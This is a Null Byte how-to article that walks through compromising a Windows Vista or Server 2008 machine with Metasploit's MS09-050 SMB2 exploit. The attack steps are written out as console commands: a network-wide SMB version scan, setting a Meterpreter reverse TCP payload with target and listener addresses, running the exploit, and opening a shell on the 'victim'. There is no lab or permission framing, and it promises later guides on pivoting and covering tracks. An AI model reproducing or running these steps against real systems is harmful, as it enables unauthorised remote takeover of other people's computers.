How to Hack Like a Pro: Hacking Windows Vista by Exploiting SMB2 Vulnerabilities « Null Byte :: WonderHowTo

Hi, gang! Time for another hack using Metasploit.We haveexploited Windows XP(a very insecure operating system) and we have exploited Ubuntu and installed Meterpreter on a Linux systemexploiting the Samba service. Several of you have asked for a hack on more modern Windows systems, so here goes.In this module, we hack into Windows Vista or Windows Server 2008 using a vulnerability found in SMB2. As you know, SMB2 is an application level protocol used to share files, folders and printers on Windows systems. SMB2 is the revised version of Microsoft's SMB that was introduced in 2006 and is used in Windows Vista and Windows Server 2008 (SMB and SMB2 have been plagued with security vulnerabilities from the very beginning).So… let's get started. Boot up your Linux operating system, open a terminal, and load theMetasploit Framework.Step 1: Scanning the Network for SMB2Before we begin to exploit, we need to scan the network to find the SMB identifiers for the systems we want to hack. Metasploit has multiple auxiliary modules that can help us with many of the preliminary tasks of hacking, such as scanning our victim network to obtain necessary information. In this case, we will use the auxiliary module scanner/smb/smb_version to scan the network.msf > use scanner/smb/smb_versionStep 2: Seeing Our OptionsNext, we need to see our options.msf auxiliary(smb_version) > show optionsNotice from the screen capture that Metasploit displays our options for this auxiliary module.Step 3: Setting Our OptionsNote here that we need to set our RHOSTS and THREADS. We set our RHOSTS to our targeted address range, in this case 192.168.1.0 through 192.168.1.255 (yours may be different depending upon your network).msf auxiliary(smb_version) > set RHOSTS 192.168.1.0-192.168.1.255RHOSTS => 192.168.1.0- 192.168.1.255We then set the number of concurrent threads to 50.msf auxiliary(smb_version) > set THREADS 50THREADS => 50By typing show options again, we can see that Metasploit has set our options as we have defined them.msf auxiliary(smb_version) > show optionsIf we have done everything correctly, Metasploit will show that we have set our options properly.Step 4: Scanning for SMB2Next, we need to run our SMB scan on the network.msf auxiliary(smb_version) > runWe can see that this scan returns results on all the machines on the defined network giving us critical information on the operating system version, the service pack, and the computer name. In my screenshot example, I have just one computer on the network and the scan correctly identifies the operating system, the service pack, and the computer name.Step 5: Setting Up Our Exploit ModuleNow that we know there are systems available that are using SMB, we can load the appropriate module in Metasploit, in this case ms09_050_smb2_negotiate_func_index.msf auxiliary(smb_version) > use windows/smb/ms09_050_smb2_negotiate_func_indexTo learn more about this exploit module, we can simply type info.msf exploit(ms09050_smb2_negotiate_func_index) > infoAs you can see in the screenshot above, Metasploit provides us critical background information on this exploit.Step 6: Setting Up Our PayloadNow we set our payload to the Windows.msf exploit(ms09_050_smb2_negotiate_func_index) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpWe then need to set the RHOST...msf exploit(ms09050_smb2_negotiate_func_index) > set RHOST 192.168.1.100RHOST => 192.168.1.100And LHOST.msf exploit(ms09_050_smb2_negotiate_func_index) > set LHOST 192.168.1.111LHOST => 192.168.1.111Step 7: Checking Our Payload OptionsWe need to check to make certain our options are set properly by typing show options.msf exploit(ms09_050_smb2_negotiate_func_index) > show optionsStep 8: Exploiting the Vista BoxFinally, we exploit SMB2 on the Vista system.msf exploit(ms09_050_smb2_negotiate_func_index) > exploitStep 9: Using the MeterpreterThe Vista system then returns a Meterpreter prompt and we type sysinfo.meterpreter > sysinfoComputer: PUPEN-SNOWBLACKOS : Windows Vista (Build 6001, Service Pack 1).Arch : x86Language: en_USWe then type shell to get a shell on our victim system.meterpreter > shellYou have now successfully hacked the Windows Vista box. If this hack doesn't work the first time, try again. Hacking is often a matter of probabilities and all hacks don't work all the time.Look for future how-to articles on using the Meterpreter to control the owned box, using it to pivot attacks from, and cover your tracks.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHow to Hack Windows 7:Sending Vulnerable Shortcut FilesHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7Hack Like a Pro:How to Find  Exploits Using the Exploit Database in KaliHack Like a Pro:How to Crash Your Roommate's Windows 7 PC with a LinkHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How Windows Can Be a Hacking Platform, Pt. 1 (Exploit Pack)Hack Like a Pro:How to Find the Latest Exploits and Vulnerabilities—Directly from MicrosoftHack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:Remotely Add a New User Account to a Windows Server 2003 BoxNews:How to Study for the White Hat Hacker Associate Certification (CWA)Hack Like a Pro:The Ultimate List of Hacking Scripts for Metasploit's MeterpreterHack Like a Pro:How to Hack the Shellshock VulnerabilityHack Like a Pro:How to Cover Your Tracks So You Aren't DetectedHack Like a Pro:Metasploit for the Aspiring Hacker, Part 1 (Primer & Overview)How To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHack Like a Pro:How to Find Website Vulnerabilities Using WiktoHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)Hack Like a Pro:Exploring the Inner Architecture of MetasploitHack Like a Pro:How to Hack Your School's Server to Download Final Exam AnswersHack Like a Pro:How to Take Control of Windows Server 2003 Remotely by Launching a Reverse ShellHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Create Windows 7 GodModeNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreWeekend Homework:How to Become a Null Byte ContributorNews:unlock the windows 7 vista hidden admin accountHow To:Restore Windows Master Boot Record on VistaHow To:Change Windows Clock To 12 Hour Time